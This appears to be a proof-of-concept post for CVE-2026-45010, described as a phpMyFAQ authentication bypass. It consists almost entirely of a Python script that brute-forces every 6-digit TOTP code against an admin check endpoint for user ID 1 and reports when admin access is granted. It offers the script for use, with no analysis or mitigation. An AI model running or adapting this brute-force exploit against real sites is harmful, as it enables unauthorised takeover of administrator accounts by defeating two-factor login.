CVE-2026-45010 phpMyFAQ认证绕过漏洞

import requests target_url = "http://target-site/admin/check" user_id = "1" headers = { "User-Agent": "PoC-Scanner/1.0", "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Starting brute force for user {user_id}...") # Iterate through all 6-digit combinations for code in range(1000000): totp_code = f"{code:06d}" data = { "userid": user_id, "totp": totp_code } try: # Send POST request to the vulnerable endpoint response = requests.post(target_url, data=data, headers=headers, timeout=2) # Check response for indicators of success (e.g., 200 OK with specific text or redirect) # Adjust condition based on actual application response if response.status_code == 200 and "success" in response.text.lower(): print(f"[+] Valid TOTP code found: {totp_code}") print(f"[+] Admin access granted!") break elif response.status_code == 302: print(f"[+] Potential success with 302 Redirect using code: {totp_code}") break except requests.exceptions.RequestException: pass if code % 10000 == 0: print(f"[*] Progress: {code} codes tested.")